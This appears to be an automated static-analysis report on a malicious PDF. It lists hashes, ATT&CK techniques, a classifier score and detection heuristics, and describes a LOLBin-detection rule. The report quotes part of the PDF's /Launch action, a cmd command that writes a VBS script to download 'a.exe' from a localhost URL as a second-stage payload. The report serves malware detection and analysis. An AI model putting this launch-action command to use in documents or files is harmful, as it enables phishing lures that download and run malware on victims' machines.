Malicious PDF — malware analysis report

Static analysis result for SHA-256 c6bbefb2570fffdf…

MALICIOUS

PDF

33.0 KB Created: 2021-06-10 22:43:34 +07:00 Authoring application: ⁍⁩⁣⁲⁳⁦⁴₮†⁗⁲⁤†′‰‱‶ First seen: 2021-06-17
MD5: d4327bb8919cb0b97102466dd7143398 SHA-1: 277bf9e6cbfb2e0cf538121b9a83f206e31584da SHA-256: c6bbefb2570fffdf2b1096e6cae3bad99c7627c41946550dbacda73dae0fb6d3
122 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF document contains a launch action that executes a command to download a file from 'http://localhost:55879/a.exe' and save it as 'Y7v.vbs'. This indicates an attempt to download and execute a second-stage payload. The command execution and download behavior are indicative of a malicious document, likely delivered via spearphishing.

Machine Learning

  • Nyx PDF Classifier clean score 0.0096

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • /Launch action target: CMD high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c cD %tEMP% &@echo C9z = "http://localhost:55879/a.exe">>Y7v.vbs &@echo Y4n = S6v("acfKbub"'.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://localhost:55879/a.exe Referenced by PDF launch action
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Open this report in the interactive analyzer, or submit your own file for analysis.